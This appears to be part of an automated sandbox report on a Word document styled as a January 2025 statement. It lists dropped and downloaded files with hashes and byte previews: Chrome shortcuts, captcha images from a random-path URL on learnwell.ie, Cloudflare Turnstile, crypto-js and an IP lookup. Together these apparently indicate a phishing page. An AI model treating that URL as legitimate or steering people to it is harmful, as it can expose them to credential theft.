                                Preview:L..................F.@.. ...$+.,....d.[..h..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I1ZHb....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V1ZRb....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V1ZRb....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V1ZRb..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V1ZTb...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............pK.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                                C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 17 11:18:38 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                Category:dropped
                                Size (bytes):2675
                                Entropy (8bit):3.9909963463466522
                                Encrypted:false
                                SSDEEP:
                                MD5:6CC4A4B0CBA0EBDB31D2BE63F55BDE3F
                                SHA1:71A217B3DE122140FD3AB929DF28B9785F64F0E1
                                SHA-256:8605696956EEE9462AB74DF1E537D6D062765812520AE4BFDBB72A5FC188499E
                                SHA-512:74B2F215542F13682EC22490466BD58C83033BCA05C005A795CE45E634EB0A185EBD2758384533DB437512862A0EC245686168BD920017937837B02ABCFA1A27
                                Malicious:false
                                Reputation:unknown
                                Preview:L..................F.@.. ...$+.,.....yM..h..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I1ZHb....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V1ZRb....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V1ZRb....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V1ZRb..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V1ZTb...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............pK.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                                C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                Category:dropped
                                Size (bytes):2689
                                Entropy (8bit):4.002238752519036
                                Encrypted:false
                                SSDEEP:
                                MD5:EEF0A866D2561EEA9881FD0E5385585F
                                SHA1:3C62C5639560A2CBFFECDF58ABC49F5A6A401BDF
                                SHA-256:EA820FDE848CECF4676CEEB9A2F50AE9925391847670AA96748C217C14FEFC9F
                                SHA-512:65B333073773D3446A4D5019677F96E0B4F970027FA1AFA7CBDC3BE4C2CB9E33C1DA78ABF72CDAD3E4B2B0CA1E65FC4A3CE8898FF66F22314DC63A4F76789DD7
                                Malicious:false
                                Reputation:unknown
                                Preview:L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I1ZHb....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V1ZRb....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V1ZRb....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V1ZRb..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............pK.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                                C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 17 11:18:38 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                Category:dropped
                                Size (bytes):2677
                                Entropy (8bit):3.9886697730654572
                                Encrypted:false
                                SSDEEP:
                                MD5:A9960A1107C55A699E1741B09EAA85C0
                                SHA1:3B977BD16806446488490B30760EAD6C8B216C95
                                SHA-256:D3488A7CC9C0F250EE72CCD332B515BE71B9CA827CA47E89641C32085975EEC2
                                SHA-512:A4417168CD982D0079EBCB51BE255F203AD301823BB4E25234D4ED2DC6FF277D1FAA015CC62CCB736972B0A0EE7AD8ADD66D18FF351128231B904077F616FCF2
                                Malicious:false
                                Reputation:unknown
                                Preview:L..................F.@.. ...$+.,.....7G..h..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I1ZHb....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V1ZRb....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V1ZRb....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V1ZRb..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V1ZTb...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............pK.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                                C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 17 11:18:38 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                Category:dropped
                                Size (bytes):2677
                                Entropy (8bit):3.9750598331732636
                                Encrypted:false
                                SSDEEP:
                                MD5:2F2012450EE7B875275626DD986A0127
                                SHA1:564AF8E07A67CC64E447A4D4D66701596174C39F
                                SHA-256:069832CEACF57A9A1B5BCAA32B58E724761A312263FB13CF3A9EB3927EB68788
                                SHA-512:55C200E3DF60CAA018E47CD72A43F3364196F06999C5E299A2A78DA912ED8638A9EB7259E69FD6C9FE2783D5CB87FFF7715DB710CD0FD8353F08E3705447CC32
                                Malicious:false
                                Reputation:unknown
                                Preview:L..................F.@.. ...$+.,.....mS..h..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I1ZHb....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V1ZRb....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V1ZRb....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V1ZRb..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V1ZTb...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............pK.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                                C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 17 11:18:38 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                Category:dropped
                                Size (bytes):2679
                                Entropy (8bit):3.9896481684281944
                                Encrypted:false
                                SSDEEP:
                                MD5:0F6A2E5CDF9B3B24C8C8A447A588B4DB
                                SHA1:6A554A291F253A8ADB5135824D1C8DB6995EBD12
                                SHA-256:C606895D8575DA8D7DB0C30DEF25C06D42402D0E78384B2BFA787669E8C38924
                                SHA-512:E14BE03AC29908DA378347ED2B915F158F4DBB8DFE6C07833DB4637C6159A57B1D05EC6919355BCA27843EC09CECBF79F8DBA6FF7F21C69CF229859B8D0AC764
                                Malicious:false
                                Reputation:unknown
                                Preview:L..................F.@.. ...$+.,....T.=..h..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I1ZHb....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V1ZRb....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V1ZRb....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V1ZRb..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V1ZTb...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............pK.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

                                C:\Users\user\Desktop\~$tertainment technology partners- January 16, 2025 stmt eAOx0Jy8v6VOSjVj58966wHa1.docx

                                Download File
                                Process:C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
                                File Type:data
                                Category:dropped
                                Size (bytes):162
                                Entropy (8bit):4.615873382420765
                                Encrypted:false
                                SSDEEP:
                                MD5:9C5C2AD9D7B98B9EB23E181207BDC97A
                                SHA1:1E0FD27EE563BEBF8F59D94EB43E29B1E3AD72D1
                                SHA-256:4FE4574069E8645A4FBEFA5F9F296AA0F817B87A6951FA8AD53F467AF7305484
                                SHA-512:3841D0C4D1FE0CCF58DA2D31DABF41892FEA8B841BF968269320F15B827A2C231D910DC1C80A85247DA91E4361112EC8147A712DC9C2EC7E09692FD5FEF5E4A2
                                Malicious:false
                                Reputation:unknown
                                Preview:...............................................................pA.2.....555..rss...).z..........a..qN.......x..a..M1....EEE.@...h.......$a\...}..j....hX...=.j

                                Chrome Cache Entry: 100

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:PNG image data, 100 x 100, 8-bit/color RGB, non-interlaced
                                Category:downloaded
                                Size (bytes):798
                                Entropy (8bit):7.441581833853654
                                Encrypted:false
                                SSDEEP:
                                MD5:BB2DFFAD7C01785C3FE2144BA2BD1DF0
                                SHA1:FB49890B2DCA356EDF316A11FDB786D705F7E43E
                                SHA-256:007EE22E2452F73C1E37D0D716E133ADB4C6A3E104C6A45302D8600F7A6A4FE2
                                SHA-512:1BAB1122E15B405AAB4238A9F3DD8BAD145AB4E18A19A209F22BDBA08EE3404A1D97B36ABCF12628EE710FABC568EF31AB2E8D973FE298B51D32199281C80CD7
                                Malicious:false
                                Reputation:unknown
                                URL:https://learnwell.ie/OMnkHtZMK20RCijS9aTFP-F9XLy6oV0IAisMy3gS7SrDGw2t9SE5cVMGuFrGP5_G/captcha_images/6737a941add0d.png
                                Preview:.PNG........IHDR...d...d.............pHYs..........+......IDATx..k.Q....A:9t.Hq..)d)B...........R.t."!... n..dr....C..C..TB...).....5mr..{w.].}?K..{....wGB..<.+..?........It\Hu.y...(......*...8..&....(....(....(..........?.U.b....N&. ..W.w..G...@Y.s..#......tu/.`...........,...5|..%v..D#m..=.......US.....>.k.k.^~..?..n.~<...l..../.t....,....D..nx...nL.....{.-..r...k....;r.....8W...*.u...Z...^j.(G]nwR.q...5Y.5X.9}LIM.0-...>e....G...'...2Y..eA...PSbY.........tD.U.C.........A.)KMlY.VM...&."..a../.QA............H#+..D.V.%.....q..N.s_D.uB.a..X..}<...(K.e.....D..t....]Y..2-..,(\.e..D.}Q.......(...}Q.$3"f.+G.8_o.l...U@>e.-.....c........~...O.KV...@Y...@Y...@Y.%...7V.'...u....^.aL..e.P..e.P..e.P..e.P..e.P.@..h.V).Q"......d.P..e......D.a...b.e..d.P..e.P..?.-.."g-....IEND.B`.

                                Chrome Cache Entry: 101

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):40
                                Entropy (8bit):4.120950594454667
                                Encrypted:false
                                SSDEEP:
                                MD5:B09F000BFB98ABD880BC77E05456FFEA
                                SHA1:FBADFA7F41B709507692B8FCEA597474EED91E2C
                                SHA-256:0A721532497036FF7D8B228DD8D4EF5E91777B0BD2B11F49F5B2CCDDD55EB259
                                SHA-512:F2E0CF9FD6D14EAF9BE953052515A598E9F96186FB82D5FA8D3E9B01F9706284DE8DDDF343AB69CF566EDEB28C659D65E0D608F99A5717A7CBFB2CC48ADA15A7
                                Malicious:false
                                Reputation:unknown
                                Preview:{"detail":"Method \"GET\" not allowed."}

                                Chrome Cache Entry: 102

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:PNG image data, 100 x 100, 8-bit/color RGB, non-interlaced
                                Category:dropped
                                Size (bytes):821
                                Entropy (8bit):7.526566305285808
                                Encrypted:false
                                SSDEEP:
                                MD5:DA69FF87495B607761E62B1E456E7ADD
                                SHA1:1163676B2364E9594AA990B0EA4B03131A54AE80
                                SHA-256:FC2525DF09391DB4A03265F91B8E4C4D663ED61E2ED6C9C9492AABF2DE71E914
                                SHA-512:F69A7E033806E9A26CA1F95D0BBD48E224A6FD6938F8E0315ED71A7FF80F9B68CCC187CBB844D275A62C60B6F6BC76874F719C5BD1DE4C6141CAA3AEE92CABFB
                                Malicious:false
                                Reputation:unknown
                                Preview:.PNG........IHDR...d...d.............pHYs..........+......IDATx...=h.A...........6..,l.&vAHelD;!E@.4.&...`w.F...X.Fl,.C./ ..m.$...X...~.<..y..._.c.v...f...w+O..../.c"t{......O+?.....+.`.....z......em...W....T.g...........r.'..X@....l..#.![.n.....".................z.$.JF.J.K.(/.k...$1Y..\.'....2%%..a......g........3.~..X6...;..WG..~u..F.'.......>.E...`T>.......w......s...T..p..X.)...\N..S....{d&ULy...b{..).7....x...s.B.+.W.5.+..f/...}.E.....-W.Q.K.o.B..~......).d.v...R;^.I..m.y.MGcS....;..K...rU.W.....qN.G.U.J....FJ..X.wb..W2.%"_...|..NL.K.6o....\.M..P.d....X@..J....\.g.D....IV.[...C.S..t..R......O...s....a...X.U^...D.........._.k..)..^...m).k..NV.WJ..*.......\.@.."......D, b....X@.."......D, b....X@.."......d...['......D, b....X@...D.....e..'..X@.."......D, b....X@......<.+[.....IEND.B`.

                                Chrome Cache Entry: 104

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:ASCII text, with very long lines (48120)
                                Category:downloaded
                                Size (bytes):48121
                                Entropy (8bit):5.399559475473033
                                Encrypted:false
                                SSDEEP:
                                MD5:240198B7133FAF43160703113AA2F601
                                SHA1:AB61FEDDAE321268BD84839B8908E611E9300AFD
                                SHA-256:401258036014BCC401F7894FD5ACC7D6BA31CDF3162C1D55EBB219D908BCF496
                                SHA-512:F49972AE131DE7EE33D86472471237580A1055C2E086BE0266E7171CB9C423A99145B006CF5D25E25288E64440430E43782E976BF7EC117BDAA52E5D370AB139
                                Malicious:false
                                Reputation:unknown
                                URL:https://challenges.cloudflare.com/turnstile/v0/g/672eb098a9f3/api.js
                                Preview:"use strict";(function(){function Bt(e,t,a,o,c,l,g){try{var h=e[l](g),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function g(s){Bt(l,o,c,g,h,"next",s)}function h(s){Bt(l,o,c,g,h,"throw",s)}g(void 0)})}}function D(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):D(e,t)}function Ue(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function De(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Ue(e,c,a[c])})}return e}function Sr(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

                                Chrome Cache Entry: 107

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:PNG image data, 100 x 100, 8-bit/color RGB, non-interlaced
                                Category:dropped
                                Size (bytes):832
                                Entropy (8bit):7.524480675709231
                                Encrypted:false
                                SSDEEP:
                                MD5:0184347CF98BB62110E59553AE12A918
                                SHA1:62F375526D2A5008C38D12B8E92152F315B24C9B
                                SHA-256:B6D6701A2C7E070CA377CDB73498AF28135BC515F2D2163BD877EC21174713A9
                                SHA-512:6C1BC946BEC9325CF360C16B8A9DC865474AE990CB08A42FF0D6780AB4F4758E1F04C3447C12C3547FD74D8E550CCE922712ED42DD7DB41A73828CD6CCAB3F3E
                                Malicious:false
                                Reputation:unknown
                                Preview:.PNG........IHDR...d...d.............pHYs..........+......IDATx..k.A..'r.....bgq....J,D.A.iRY....H@B .L!.....A.6..be..iR.j.(\.L.H1..w..}...}.}_s.;73|.......>..D9.5.6!Y... Y.=....a..h.J..d.H..d.H..d.H.@..f..K..n.|..'...=.......e...V.G..IdA..}.P.....&..Rf&.P.d.$.ld%2...../.....M...Jm.3.h.z..*....K.....4...'.GS....b3.ow.]z`.I S!?..E7z...S..{.....s.n.1.IF.0..Tu6.|..zt/.N...Ub.y}..IOB`Y..0...i.8.d.(V..p)Y.\.lc.1...,r.d....*\D...,.L.`4L.V...t...d.eu9\,.j.1.:...m..h.]...=...C.xY.....5..;..`.v...._f.|.....0Z._+.=...k.$K......$C_.+..h..F6....g#hD+x.i%i.D..."\.ur."'.0[:.OW.FU...i..../n.-:k.YUN..,....,....,....,....,....,....,...h.....Ow/..d.H..d.H.@.&.2Sx>J..d.H..d.H..d.T]:<.Z..N..P..$.@..$......k_....v7]O .,.........w..^.)..+.`......P.r...|_l.\.s.4#....N...=.95y...av.....Z....,..'....j.....IEND.B`.

                                Chrome Cache Entry: 108

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:ASCII text, with very long lines (47992), with no line terminators
                                Category:downloaded
                                Size (bytes):47992
                                Entropy (8bit):5.605846858683577
                                Encrypted:false
                                SSDEEP:
                                MD5:CF3402D7483B127DED4069D651EA4A22
                                SHA1:BDE186152457CACF9C35477B5BDDA5BCB56B1F45
                                SHA-256:EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
                                SHA-512:9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
                                Malicious:false
                                Reputation:unknown
                                URL:https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
                                Preview:!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt||function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create||function(t){var e;return n.prototype=t,e=new n,n.prototype=null

                                Chrome Cache Entry: 109

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:PNG image data, 100 x 100, 8-bit/color RGB, non-interlaced
                                Category:downloaded
                                Size (bytes):833
                                Entropy (8bit):7.523344662915768
                                Encrypted:false
                                SSDEEP:
                                MD5:1AF4507EE5D95013D98503687B9D871C
                                SHA1:674F0523F5C75E953F1A5BECFF2D45220D696485
                                SHA-256:49D73050F154EF5E8CE996532FCD5729D12E6291691A554F347EE43C4418E9EE
                                SHA-512:2251F15CED0A303BA187E01D9ACC3E174738096EA63F8E62E2113A5F104F0D13D4B97D80997CA51DD2F5DDC4FB864FB4FD88861F55E6A55BE4462D973585FED4
                                Malicious:false
                                Reputation:unknown
                                URL:https://learnwell.ie/OMnkHtZMK20RCijS9aTFP-F9XLy6oV0IAisMy3gS7SrDGw2t9SE5cVMGuFrGP5_G/captcha_images/6737a936d24e3.png
                                Preview:.PNG........IHDR...d...d.............pHYs..........+......IDATx...k.A......&.Z..v..DD.#1$X....2..u..6....`q..(.!..? ..........*..2.{..gfv....fw.....n=3...O....a..u........E, b.M9.Y.7.y.J.N.o......67.~.^...s=..q....D, b....X@.."......D, b....X@.."......D, b....X@.."......D, b....X@.."......D, b....X@C.i`.G..o+...+.?..N.d...G..\....D, b....X@.."......D, b....X@.."......D,......g........i..c.........h..?.....;..>L...H2..a...,@..%...df'.d23.d.4....PJ..2%.._*l...`.=..Qi.JW....$.!..^".bN..'....R.X.m...D...}..e....T.....9X.o..9...s.w..|.j.....U./M.M.`._.RJu.N....i...|..E|.7.U.R..g..;YN..l#.v....Q.u.......4_?g.~Q..ZTJ}....f..C.d.R..|mt..?...s..k..g.....lf.9..$f...}...3.wJO.[.^N)e<..Z]..#.J.P..<..X....g@R.....?V...>..RJ.d....~)%..o..,..F.t.K.T.`..2_"k.I'n....)%.%<b....X@.."..9.....r.....IEND.B`.

                                Chrome Cache Entry: 111

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:JSON data
                                Category:downloaded
                                Size (bytes):21
                                Entropy (8bit):3.594465636961452
                                Encrypted:false
                                SSDEEP:
                                MD5:909AD59B6307B0CD8BFE7961D4B98778
                                SHA1:49F8111D613317EA86C6A45CD608DC96B1C8451B
                                SHA-256:FBCEC43F243A7B7F955E498B7FC37CB5EDF615156529AB8A039BBBCFA52C1829
                                SHA-512:8FDFFFB73C90ACDC732A0F29257CACEEDAAA28FCAF8E779C5390BDEA9CDE4DE3C8BD005BBEC9B3B7972C787E233D8D8E218D45B6EB2C3AD40EB5E3A2A1EAC3B8
                                Malicious:false
                                Reputation:unknown
                                URL:https://api.ipify.org/?format=json
                                Preview:{"ip":"8.46.123.189"}

                                Chrome Cache Entry: 112

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:PNG image data, 100 x 100, 8-bit/color RGB, non-interlaced
                                Category:downloaded
                                Size (bytes):911
                                Entropy (8bit):7.5974058487790135
                                Encrypted:false
                                SSDEEP:
                                MD5:C48731944E994CE837D914AEC7FD6E5E
                                SHA1:DAB465FCC43F80D46040BDD353E05D3EE912931D
                                SHA-256:86D8BB3C814CE86B07F7B5A0FE67568A1ADF03467C466CE1FCDE89708A9E72BB
                                SHA-512:99AA559192AFFC514CBC0D7D7C414DA3380213B2EC6C9B888A9B4BABBA58660184BF1900339F36A5CD6805462C673702286C46CDED038A9C1A023FAAEE3DAE22
                                Malicious:false
                                Reputation:unknown
                                URL:https://learnwell.ie/OMnkHtZMK20RCijS9aTFP-F9XLy6oV0IAisMy3gS7SrDGw2t9SE5cVMGuFrGP5_G/captcha_images/6737a941ad176.png
                                Preview:.PNG........IHDR...d...d.............pHYs..........+.....AIDATx..n.A....<...@...J.(.4i.H.....RZ(..#.x..XH..]..Dn(./.DK..D1he]...ng.f}.U......7...z...G....j_.......l..%q3.10ED...C...,....7s=;O.....G6W,.}5"..+iZ~Y..e_.e.0..oS..Z...T...T.w].|...k.}i.j..g?........%V...E.!..,.sW..H.@.....m.dP..t.H.@....,.....BRV..^....E. 6\.`.h.e."W.N....&n.\."9_...,..d...2_z..,..K...........2mM._YL.X....wY....UK..p...Z.b......U.~.)Y.w.*.E....&...*e...8._S.a.t|..=\..O..-}7U&.......wyY....0.M.v.HV..u....-V.@%....+S.51..:h.....Y..s....G]fbu...btU..Q/C.."V.&.g...+v..,......B..E...."m/..?..D..B.@...Y.!..z.f...t....t....1..>........./...q-..~e....._Y.q*.<V.l....I...(K....J....m.B....I.......k...B.....,..$.<\..U.d..kX...>k...F.i2.3../...D..B..SYR3.5Hne....p]....'%'.+.!.e..K<V.\.u.%....e..+k.<VT.,B|."..;Y....U.'e.*..d...P..H..;.4._d51.#.:...B.@...Y.!. d..,......B..?/J.N|G......IEND.B`.

                                Chrome Cache Entry: 113

                                Download File
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:PNG image data, 59 x 98, 8-bit/color RGB, non-interlaced
                                Category:downloaded
                                Size (bytes):61
                                Entropy (8bit):4.068159130770307
                                Encrypted:false
                                SSDEEP:
                                MD5:11DD919C96E3FD7F7AF8295BC3D5430E
                                SHA1:0A0FAE00D41EEA687BDC7BABFE666879A28D2A7D
                                SHA-256:235C5E104C56509FFE8B7FE71547738D21D0E4339700B0F690F8F89F37CD69C2
                                SHA-512:578CF55EE5309B3A0C55906F9AA5D6CDC1101307F38BE15F0F52670A73E01FC28F9F67B1EA94FD013286CEB22C05633F989A1B718F1C227D61AC5474B49BC3F7
                                Malicious:false
                                Reputation:unknown
                                URL:https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/d/90364a62d925f5f6/1737116336132/akUt1gUB-YZ8WDZ
                                Preview:.PNG........IHDR...;...b.....a.<.....IDAT.....$.....IEND.B`.

                                Chrome Cache Entry: 114

                                Download File
